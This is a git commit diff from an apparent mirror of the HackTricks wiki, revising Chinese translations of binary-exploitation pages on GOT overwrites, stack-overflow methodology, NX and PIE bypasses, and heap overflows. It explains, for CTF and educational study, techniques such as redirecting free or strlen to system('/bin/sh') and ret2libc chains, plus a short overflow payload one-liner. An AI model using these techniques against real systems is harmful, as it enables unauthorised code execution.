mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-
This commit is contained in:
Translator
parent
92081eeae4
commit
88208b9ace
@ -6,13 +6,13 @@
|
||||
|
||||
### **GOT: 全局偏移表**
|
||||
|
||||
**全局偏移表 (GOT)** 是一种用于动态链接二进制文件的机制，用于管理 **外部函数的地址**。由于这些 **地址在运行时才会被知道**（由于动态链接），GOT 提供了一种方法来 **在解析后动态更新这些外部符号的地址**。
|
||||
**全局偏移表 (GOT)** 是一种用于动态链接二进制文件的机制，用于管理 **外部函数的地址**。由于这些 **地址在运行时才会被知道**（由于动态链接），GOT 提供了一种方法来 **动态更新这些外部符号的地址** 一旦它们被解析。
|
||||
|
||||
GOT 中的每个条目对应于二进制文件可能调用的外部库中的一个符号。当 **函数第一次被调用时，其实际地址由动态链接器解析并存储在 GOT 中**。对同一函数的后续调用使用存储在 GOT 中的地址，从而避免了再次解析地址的开销。
|
||||
|
||||
### **PLT: 过程链接表**
|
||||
|
||||
**过程链接表 (PLT)** 与 GOT 密切合作，作为处理对外部函数调用的跳板。当二进制文件 **第一次调用外部函数时，控制权会传递给与该函数关联的 PLT 中的一个条目**。这个 PLT 条目负责调用动态链接器来解析函数的地址，如果该地址尚未被解析。地址解析后，它会存储在 **GOT** 中。
|
||||
**过程链接表 (PLT)** 与 GOT 密切合作，作为处理对外部函数调用的跳板。当二进制文件 **第一次调用外部函数时，控制权会传递给与该函数关联的 PLT 中的一个条目**。这个 PLT 条目负责调用动态链接器来解析函数的地址，如果它尚未被解析。地址解析后，它会存储在 **GOT** 中。
|
||||
|
||||
**因此，** 一旦外部函数或变量的地址被解析，GOT 条目就会被直接使用。**PLT 条目用于通过动态链接器促进这些地址的初始解析**。
|
||||
|
||||
@ -20,13 +20,13 @@ GOT 中的每个条目对应于二进制文件可能调用的外部库中的一
|
||||
|
||||
### 检查 GOT
|
||||
|
||||
获取 GOT 表的地址：**`objdump -s -j .got ./exec`**
|
||||
使用以下命令获取 GOT 表的地址：**`objdump -s -j .got ./exec`**
|
||||
|
||||
.png>)
|
||||
|
||||
观察在 GEF 中 **加载** **可执行文件** 后，您可以 **看到** **GOT** 中的 **函数**：`gef➤ x/20x 0xADDR_GOT`
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
|
||||
使用 GEF，您可以 **开始** 一个 **调试** 会话并执行 **`got`** 以查看 GOT 表：
|
||||
|
||||
@ -34,25 +34,25 @@ GOT 中的每个条目对应于二进制文件可能调用的外部库中的一
|
||||
|
||||
### GOT2Exec
|
||||
|
||||
在二进制文件中，GOT 包含 **函数的地址或** 指向将加载函数地址的 **PLT** 部分。这个任意写入的目标是 **覆盖一个将要被执行的函数的 GOT 条目**，例如用 **`system`** **函数** 的 **PLT** 地址。
|
||||
在二进制文件中，GOT 包含 **函数的地址或** **PLT** 部分的地址，该部分将加载函数地址。此任意写入的目标是 **覆盖一个函数的 GOT 条目**，该函数将在稍后 **执行**，例如 **`system`** **函数** 的 **PLT** 地址。
|
||||
|
||||
理想情况下，您将 **覆盖** 一个 **将被调用并由您控制参数的函数**（这样您就可以控制传递给系统函数的参数）。
|
||||
理想情况下，您将 **覆盖** 一个 **将被调用并由您控制参数的函数的 GOT**（这样您就可以控制传递给系统函数的参数）。
|
||||
|
||||
如果 **`system`** **未被** 二进制文件使用，系统函数 **将不会** 在 PLT 中有条目。在这种情况下，您需要 **首先泄漏 `system` 函数的地址**，然后覆盖 GOT 以指向该地址。
|
||||
如果 **`system`** **未被** 二进制文件使用，则系统函数 **不会** 在 PLT 中有条目。在这种情况下，您需要 **首先泄漏 `system` 函数的地址**，然后覆盖 GOT 以指向该地址。
|
||||
|
||||
您可以使用 **`objdump -j .plt -d ./vuln_binary`** 查看 PLT 地址。
|
||||
|
||||
## libc GOT 条目
|
||||
|
||||
**libc 的 GOT** 通常编译为 **部分 RELRO**，这使其成为一个不错的目标，假设可以找出其地址（[**ASLR**](../common-binary-protections-and-bypasses/aslr/)）。
|
||||
**libc 的 GOT** 通常编译为 **部分 RELRO**，使其成为一个不错的目标，假设可以找出其地址（[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)）。
|
||||
|
||||
libc 的常见函数将调用 **其他内部函数**，其 GOT 可以被覆盖以获得代码执行。
|
||||
|
||||
在这里找到 [**更多关于此技术的信息**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)。
|
||||
在这里找到 [**有关此技术的更多信息**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)。
|
||||
|
||||
### **Free2system**
|
||||
|
||||
在堆利用 CTF 中，通常可以控制块的内容，并在某些时候甚至覆盖 GOT 表。如果没有可用的 RCE gadget，一个简单的技巧是将 `free` GOT 地址覆盖为指向 `system`，并在一个块中写入 `"/bin/sh"`。这样，当这个块被释放时，它将执行 `system("/bin/sh")`。
|
||||
在堆利用 CTF 中，通常可以控制块的内容，并在某些时候甚至覆盖 GOT 表。如果没有可用的一个 gadget，获取 RCE 的一个简单技巧是将 `free` GOT 地址覆盖为指向 `system`，并在一个块中写入 `"/bin/sh"`。这样，当这个块被释放时，它将执行 `system("/bin/sh")`。
|
||||
|
||||
### **Strlen2system**
|
||||
|
||||
@ -60,7 +60,7 @@ libc 的常见函数将调用 **其他内部函数**，其 GOT 可以被覆盖
|
||||
|
||||
此外，如果 `puts` 使用用户输入，则可以将 `strlen` GOT 地址覆盖为指向 `system`，并传递字符串 `"/bin/sh"` 以获得一个 shell，因为 **`puts` 将使用用户输入调用 `strlen`**。
|
||||
|
||||
## **One Gadget**
|
||||
## **一个 Gadget**
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||||
@ -75,7 +75,7 @@ libc 的常见函数将调用 **其他内部函数**，其 GOT 可以被覆盖
|
||||
|
||||
## **保护**
|
||||
|
||||
**完全 RELRO** 保护旨在通过在二进制文件启动时解析所有函数的地址并在之后使 **GOT 表只读** 来防止这种技术：
|
||||
**完全 RELRO** 保护旨在通过在二进制文件启动时解析所有函数的地址并在此之后使 **GOT 表只读** 来防止这种技术：
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
|
||||
@ -18,16 +18,16 @@ tools/
|
||||
|
||||
## 栈溢出方法论
|
||||
|
||||
有这么多技术时，拥有一个方案来确定每种技术何时有用是很好的。请注意，相同的保护措施会影响不同的技术。您可以在每个保护部分找到绕过保护的方法，但在此方法论中找不到。
|
||||
有这么多技术时，拥有一个方案来确定每种技术何时有用是好的。请注意，相同的保护措施会影响不同的技术。您可以在每个保护部分找到绕过保护的方法，但不在此方法论中。
|
||||
|
||||
## 控制流程
|
||||
|
||||
您可以通过不同的方式控制程序的流程：
|
||||
|
||||
- [**栈溢出**](../stack-overflow/) 通过覆盖栈中的返回指针或 EBP -> ESP -> EIP。
|
||||
- [**栈溢出**](../stack-overflow/index.html) 通过覆盖栈中的返回指针或 EBP -> ESP -> EIP。
|
||||
- 可能需要利用 [**整数溢出**](../integer-overflow.md) 来导致溢出
|
||||
- 或通过 **任意写入 + 写入什么到哪里执行**
|
||||
- [**格式字符串**](../format-strings/)**:** 利用 `printf` 在任意地址写入任意内容。
|
||||
- [**格式字符串**](../format-strings/index.html)**:** 利用 `printf` 在任意地址写入任意内容。
|
||||
- [**数组索引**](../array-indexing.md): 利用设计不良的索引来控制某些数组并获得任意写入。
|
||||
- 可能需要利用 [**整数溢出**](../integer-overflow.md) 来导致溢出
|
||||
- **bof 到 WWW 通过 ROP**: 利用缓冲区溢出构造 ROP 并能够获得 WWW。
|
||||
@ -45,23 +45,23 @@ tools/
|
||||
- 在 **ROP** 链中写入 **`main` 函数** 的地址或发生 **漏洞** 的地址。
|
||||
- 控制一个合适的 ROP 链，您可能能够在该链中执行所有操作
|
||||
- 在 GOT 中写入 **`exit` 地址**（或二进制在结束前使用的任何其他函数）到 **返回漏洞** 的地址
|
||||
- 如 [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**中所述，** 在这里存储两个函数，一个用于再次调用漏洞，另一个用于调用 **`__libc_csu_fini`**，它将再次调用 `.fini_array` 中的函数。
|
||||
- 如 [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**中所述，**在这里存储两个函数，一个是再次调用漏洞，另一个是调用 **`__libc_csu_fini`**，它将再次调用 `.fini_array` 中的函数。
|
||||
|
||||
## 利用目标
|
||||
|
||||
### 目标：调用现有函数
|
||||
|
||||
- [**ret2win**](#ret2win): 代码中有一个您需要调用的函数（可能带有一些特定参数）以获取标志。
|
||||
- 在 **没有** [**PIE**](../common-binary-protections-and-bypasses/pie/) **和** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) 的常规 bof 中，您只需在存储在栈中的返回地址中写入地址。
|
||||
- 在带有 [**PIE**](../common-binary-protections-and-bypasses/pie/) 的 bof 中，您需要绕过它
|
||||
- 在带有 [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) 的 bof 中，您需要绕过它
|
||||
- 在 **没有** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **和** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) 的常规 bof 中，您只需在存储在栈中的返回地址中写入地址。
|
||||
- 在带有 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 的 bof 中，您需要绕过它
|
||||
- 在带有 [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) 的 bof 中，您需要绕过它
|
||||
- 如果您需要设置多个参数以正确调用 **ret2win** 函数，您可以使用：
|
||||
- 如果有足够的 gadgets，可以使用 [**ROP**](#rop-and-ret2...-techniques) **链来准备所有参数
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)（如果您可以调用此系统调用）以控制许多寄存器
|
||||
- 如果有足够的 gadgets，可以使用 [**ROP**](#rop-and-ret2...-techniques) **链来准备所有参数**
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)（如果您可以调用此系统调用）来控制许多寄存器
|
||||
- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器
|
||||
- 通过 [**写入什么到哪里**](../arbitrary-write-2-exec/) 您可以利用其他漏洞（不是 bof）来调用 **`win`** 函数。
|
||||
- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要调用的函数或将要被有趣的函数（system 或 printf）使用的字符串的指针，则可以覆盖该地址。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/) 可能会影响地址。
|
||||
- 通过 [**写入什么到哪里**](../arbitrary-write-2-exec/index.html)，您可以利用其他漏洞（不是 bof）来调用 **`win`** 函数。
|
||||
- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈中包含指向将要调用的函数或将要被有趣的函数（system 或 printf）使用的字符串的指针，则可以覆盖该地址。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 可能会影响地址。
|
||||
- [**未初始化变量**](../stack-overflow/uninitialized-variables.md): 你永远不知道。
|
||||
|
||||
### 目标：RCE
|
||||
@ -69,43 +69,43 @@ tools/
|
||||
#### 通过 shellcode，如果 nx 被禁用或将 shellcode 与 ROP 混合：
|
||||
|
||||
- [**(栈) Shellcode**](#stack-shellcode): 这对于在覆盖返回指针之前或之后在栈中存储 shellcode 并然后 **跳转到它** 执行是有用的：
|
||||
- **在任何情况下，如果有** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**，** 在常规 bof 中，您需要绕过（泄漏）它
|
||||
- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **和** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md)，可以跳转到栈的地址，因为它不会改变
|
||||
- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/)，您需要使用 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) 等技术来跳转到它
|
||||
- **有** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md)，您需要使用一些 [**ROP**](../rop-return-oriented-programing/) **来调用 `memprotect`** 并使某些页面 `rwx`，然后 **在其中存储 shellcode**（例如调用 read）并然后跳转到那里。
|
||||
- **在任何情况下，如果有** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**，**在常规 bof 中，您需要绕过（泄漏）它
|
||||
- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **和** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md)，可以跳转到栈的地址，因为它不会改变
|
||||
- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)，您需要使用 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) 等技术来跳转到它
|
||||
- **有** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md)，您需要使用一些 [**ROP**](../rop-return-oriented-programing/index.html) **来调用 `memprotect`** 并使某些页面 `rwx`，以便然后 **将 shellcode 存储在那里**（例如调用 read）并跳转到那里。
|
||||
- 这将把 shellcode 与 ROP 链混合。
|
||||
|
||||
#### 通过系统调用
|
||||
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 有用的调用 `execve` 来运行任意命令。您需要能够找到 **调用特定系统调用的 gadgets 及其参数**。
|
||||
- 如果启用了 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/)，您需要击败它们 **以便使用二进制文件或库中的 ROP gadgets**。
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) 可以用于准备 **ret2execve**
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): 有用来调用 `execve` 以运行任意命令。您需要能够找到 **调用特定系统调用的 gadgets 及其参数**。
|
||||
- 如果 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 被启用，您需要击败它们 **以便使用二进制文件或库中的 ROP gadgets**。
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) 可以用于准备 **ret2execve**
|
||||
- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器
|
||||
|
||||
#### 通过 libc
|
||||
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): 有用的调用库中的函数（通常是 **`libc`**）如 **`system`**，带有一些准备好的参数（例如 `'/bin/sh'`）。您需要二进制文件 **加载库** 以调用您想要的函数（通常是 libc）。
|
||||
- 如果 **静态编译且没有** [**PIE**](../common-binary-protections-and-bypasses/pie/)，`system` 和 `/bin/sh` 的 **地址** 不会改变，因此可以静态使用它们。
|
||||
- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **并且知道加载的 libc 版本**，`system` 和 `/bin/sh` 的 **地址** 不会改变，因此可以静态使用它们。
|
||||
- 在 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **但没有** [**PIE**](../common-binary-protections-and-bypasses/pie/)**，知道 libc 并且二进制文件使用 `system`** 函数，可以 **`ret` 到 GOT 中 system 的地址**，并将 `'/bin/sh'` 的地址作为参数（您需要弄清楚这一点）。
|
||||
- 在 [ASLR](../common-binary-protections-and-bypasses/aslr/) 但没有 [PIE](../common-binary-protections-and-bypasses/pie/)，知道 libc 并且 **没有二进制文件使用 `system`**：
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): 有用来调用库中的函数（通常是 **`libc`**）如 **`system`**，并带有一些准备好的参数（例如 `'/bin/sh'`）。您需要二进制文件 **加载库** 以调用您想要的函数（通常是 libc）。
|
||||
- 如果 **静态编译且没有** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)，`system` 和 `/bin/sh` 的 **地址** 不会改变，因此可以静态使用它们。
|
||||
- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **并且知道加载的 libc 版本**，`system` 和 `/bin/sh` 的 **地址** 不会改变，因此可以静态使用它们。
|
||||
- 在 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **但没有** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 的情况下，知道 libc 并且二进制文件使用 `system` **函数，可以** 将 `ret` 到 GOT 中 system 的地址，并将 `'/bin/sh'` 的地址作为参数（您需要弄清楚这一点）。
|
||||
- 在 [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) 但没有 [PIE](../common-binary-protections-and-bypasses/pie/index.html) 的情况下，知道 libc 并且 **没有二进制文件使用 `system`**：
|
||||
- 使用 [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) 来解析 `system` 的地址并调用它
|
||||
- **绕过** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 并计算 `system` 和 `'/bin/sh'` 在内存中的地址。
|
||||
- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **和** [**PIE**](../common-binary-protections-and-bypasses/pie/) **并且不知道 libc**：您需要：
|
||||
- 绕过 [**PIE**](../common-binary-protections-and-bypasses/pie/)
|
||||
- **绕过** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 并计算 `system` 和 `'/bin/sh'` 在内存中的地址。
|
||||
- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **和** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **并且不知道 libc**：您需要：
|
||||
- 绕过 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)
|
||||
- 找到使用的 **`libc` 版本**（泄漏几个函数地址）
|
||||
- 检查 **与 ASLR 相关的先前场景** 以继续。
|
||||
|
||||
#### 通过 EBP/RBP
|
||||
|
||||
- [**栈枢轴 / EBP2Ret / EBP 链接**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 控制 ESP 以通过存储在栈中的 EBP 控制 RET。
|
||||
- [**栈转移 / EBP2Ret / EBP 链接**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 控制 ESP 以通过存储在栈中的 EBP 控制 RET。
|
||||
- 对于 **off-by-one** 栈溢出很有用
|
||||
- 作为一种替代方式，在利用 EIP 构造内存中的有效载荷并通过 EBP 跳转到它时，结束控制 EIP 也很有用
|
||||
- 作为一种替代方式，在利用 EIP 构造内存中的有效载荷后，通过 EBP 跳转到它
|
||||
|
||||
#### 其他
|
||||
|
||||
- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要调用的函数或将要被有趣的函数（system 或 printf）使用的字符串的指针，则可以覆盖该地址。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/) 可能会影响地址。
|
||||
- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈中包含指向将要调用的函数或将要被有趣的函数（system 或 printf）使用的字符串的指针，则可以覆盖该地址。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) 可能会影响地址。
|
||||
- [**未初始化变量**](../stack-overflow/uninitialized-variables.md): 你永远不知道。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**No-Execute (NX)** 位，也称为 **Execute Disable (XD)** 在英特尔术语中，是一种基于硬件的安全特性，旨在 **减轻** **缓冲区溢出** 攻击的影响。当实施并启用时，它区分了用于 **可执行代码** 的内存区域和用于 **数据** 的区域，例如 **栈** 和 **堆**。核心思想是通过将恶意代码放入栈中并将执行流指向它，来防止攻击者通过缓冲区溢出漏洞执行恶意代码。
|
||||
**No-Execute (NX)** 位，也称为 **Execute Disable (XD)** 在英特尔术语中，是一种基于硬件的安全特性，旨在 **减轻** **缓冲区溢出** 攻击的影响。当实施并启用时，它区分了用于 **可执行代码** 的内存区域和用于 **数据** 的区域，例如 **栈** 和 **堆**。核心思想是通过将恶意代码放置在栈中并将执行流引导到它，来防止攻击者通过缓冲区溢出漏洞执行恶意代码。
|
||||
|
||||
## 绕过方法
|
||||
|
||||
- 可以使用诸如 [**ROP**](../rop-return-oriented-programing/) **来绕过** 此保护，通过执行已存在于二进制文件中的可执行代码块。
|
||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
- 可以使用诸如 [**ROP**](../rop-return-oriented-programing/index.html) **来绕过** 此保护，通过执行二进制文件中已存在的可执行代码块。
|
||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
|
||||
- **Ret2...**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,26 +4,26 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
编译为 PIE 或 **位置无关可执行文件** 的二进制文件意味着 **程序每次执行时可以加载到不同的内存位置**，防止硬编码地址。
|
||||
编译为 PIE（**位置无关可执行文件**）的二进制文件意味着 **程序每次执行时可以加载到不同的内存位置**，防止硬编码地址。
|
||||
|
||||
利用这些二进制文件的技巧在于利用 **相对地址**——程序各部分之间的偏移量即使绝对位置发生变化也保持不变。要 **绕过 PIE，您只需泄露一个地址**，通常通过使用格式字符串攻击等漏洞从 **栈** 中获取。一旦您有了一个地址，您可以通过它们的 **固定偏移量** 计算其他地址。
|
||||
利用这些二进制文件的技巧在于利用 **相对地址**——程序各部分之间的偏移量即使绝对位置改变也保持不变。要 **绕过 PIE，只需泄露一个地址**，通常通过使用格式字符串攻击等漏洞从 **栈** 中获取。一旦你有了一个地址，就可以通过它们的 **固定偏移量** 计算其他地址。
|
||||
|
||||
在利用 PIE 二进制文件时，一个有用的提示是它们的 **基地址通常以 000 结尾**，这是因为内存页是随机化的单位，大小为 0x1000 字节。这种对齐可以是一个关键的 **检查，如果漏洞没有按预期工作**，指示是否已识别正确的基地址。\
|
||||
或者您可以将其用于您的漏洞，如果您泄露了一个地址位于 **`0x649e1024`**，您就知道 **基地址是 `0x649e1000`**，然后您可以 **计算** 函数和位置的偏移量。
|
||||
在利用 PIE 二进制文件时，一个有用的提示是它们的 **基地址通常以 000 结尾**，这是因为内存页是随机化的单位，大小为 0x1000 字节。这种对齐可以是 **检查漏洞是否按预期工作** 的关键，指示是否已识别正确的基地址。\
|
||||
或者你可以将其用于你的漏洞利用，如果你泄露了一个地址位于 **`0x649e1024`**，你就知道 **基地址是 `0x649e1000`**，然后你可以 **计算** 函数和位置的偏移量。
|
||||
|
||||
## 绕过方法
|
||||
|
||||
为了绕过 PIE，需要 **泄露已加载二进制文件的某个地址**，有一些选项可以做到这一点：
|
||||
|
||||
- **禁用 ASLR**：如果禁用 ASLR，编译为 PIE 的二进制文件将始终 **加载到相同的地址**，因此 **PIE 将变得无用**，因为对象的地址将始终位于相同的位置。
|
||||
- 被 **给出** 泄露（在简单的 CTF 挑战中常见， [**查看此示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)）
|
||||
- 在栈中 **暴力破解 EBP 和 EIP 值**，直到您泄露正确的值：
|
||||
- **禁用 ASLR**：如果 ASLR 被禁用，编译为 PIE 的二进制文件总是 **会加载到相同的地址**，因此 **PIE 将变得无用**，因为对象的地址总是会在同一个地方。
|
||||
- 被 **给出** 泄露（在简单的 CTF 挑战中常见， [**查看这个例子**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)）
|
||||
- 在栈中 **暴力破解 EBP 和 EIP 值**，直到你泄露出正确的值：
|
||||
|
||||
{{#ref}}
|
||||
bypassing-canary-and-pie.md
|
||||
{{#endref}}
|
||||
|
||||
- 使用 **任意读取** 漏洞，例如 [**格式字符串**](../../format-strings/) 来泄露二进制文件的地址（例如，从栈中，如前面的技术所示）以获取二进制文件的基地址并从那里使用偏移量。[**在这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
|
||||
- 使用 **任意读取** 漏洞，例如 [**格式字符串**](../../format-strings/index.html) 来泄露二进制文件的地址（例如，从栈中，如前面的技术所示）以获取二进制文件的基地址并从那里使用偏移量。[**在这里找到一个例子**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
|
||||
|
||||
## 参考
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
堆溢出类似于 [**栈溢出**](../stack-overflow/)，但发生在堆中。基本上，这意味着在堆中保留了一些空间来存储数据，而 **存储的数据大于保留的空间。**
|
||||
堆溢出类似于 [**栈溢出**](../stack-overflow/index.html)，但发生在堆中。基本上，这意味着在堆中保留了一些空间来存储数据，而 **存储的数据大于保留的空间。**
|
||||
|
||||
在栈溢出中，我们知道一些寄存器，如指令指针或栈帧，将从栈中恢复，并且可能会被滥用。在堆溢出的情况下，**默认情况下，堆块中没有存储任何敏感信息**，可以被溢出。然而，它可能包含敏感信息或指针，因此这种漏洞的 **严重性** **取决于** **可能被覆盖的数据** 以及攻击者如何利用这一点。
|
||||
|
||||
@ -15,7 +15,7 @@
|
||||
|
||||
在栈溢出中，触发漏洞时栈中将存在的排列和数据是相当可靠的。这是因为栈是线性的，总是增加在碰撞的内存中，在 **程序运行的特定位置，栈内存通常存储类似类型的数据**，并且它具有一些特定的结构，末尾有一些指向每个函数使用的栈部分的指针。
|
||||
|
||||
然而，在堆溢出的情况下，使用的内存不是线性的，而是 **分配的块通常位于内存的不同位置**（而不是一个接一个），因为 **bins 和 zones** 按大小分隔分配，并且因为 **先前释放的内存在分配新块之前被使用**。因此，**很难知道将与易受堆溢出影响的对象发生碰撞的对象**。因此，当发现堆溢出时，需要找到一种 **可靠的方法使所需对象在内存中紧挨着可以被溢出的对象**。
|
||||
然而，在堆溢出的情况下，使用的内存不是线性的，而是 **分配的块通常位于内存的不同位置**（而不是一个接一个），因为 **bins 和 zones** 按大小分隔分配，并且因为 **先前释放的内存在分配新块之前被使用**。因此，**很难知道将与易受堆溢出影响的对象发生碰撞的对象**。因此，当发现堆溢出时，需要找到一种 **可靠的方法使所需对象在内存中紧挨着可以溢出的对象**。
|
||||
|
||||
用于此的一种技术是 **Heap Grooming**，例如在 [**这篇文章**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) 中进行了说明。文章解释了当 iOS 内核中的一个区域没有足够的内存来存储内存块时，它通过一个内核页面进行扩展，并且该页面被分割成预期大小的块，这些块将按顺序使用（直到 iOS 版本 9.2，然后这些块以随机方式使用，以增加这些攻击的利用难度）。
|
||||
|
||||
@ -23,11 +23,11 @@
|
||||
|
||||
为了强制用特定大小的对象填充，**与 iOS mach 端口相关的离线分配**是一个理想的候选者。通过调整消息的大小，可以精确指定 `kalloc` 分配的大小，当相应的 mach 端口被销毁时，相应的分配将立即释放回 `kfree`。
|
||||
|
||||
然后，这些占位符中的一些可以被 **释放**。**`kalloc.4096` 空闲列表以后进先出顺序释放元素**，这基本上意味着如果一些占位符被释放，并且利用尝试在分配易受溢出影响的对象时分配多个受害者对象，则该对象很可能会被一个受害者对象跟随。
|
||||
然后，这些占位符中的一些可以被 **释放**。**`kalloc.4096` 空闲列表以后进先出顺序释放元素**，这基本上意味着如果一些占位符被释放，而利用尝试在分配易受溢出影响的对象时分配多个受害者对象，则该对象很可能会被一个受害者对象跟随。
|
||||
|
||||
### 示例 libc
|
||||
|
||||
[**在此页面**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) 可以找到一个基本的堆溢出仿真，展示了如何通过覆盖下一个块的 prev in use 位和 prev size 的位置来 **合并一个已使用的块**（使其认为是未使用的）并 **然后再次分配它**，能够覆盖在不同指针中使用的数据。
|
||||
[**在此页面**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) 可以找到一个基本的堆溢出仿真，展示了如何通过覆盖下一个块的 prev in use 位和 prev size 的位置来 **合并一个已使用的块**（使其认为是未使用的），然后 **再次分配它**，能够覆盖在不同指针中使用的数据。
|
||||
|
||||
另一个来自 [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) 的示例展示了一个非常基本的 CTF 示例，其中 **堆溢出** 可以被滥用以调用赢家函数以 **获取标志**。
|
||||
|
||||
@ -43,6 +43,6 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
|
||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
- 我们利用整数溢出漏洞来获取堆溢出。
|
||||
- 我们破坏指向溢出块内 `struct` 中函数的指针，以设置如 `system` 的函数并获得代码执行。
|
||||
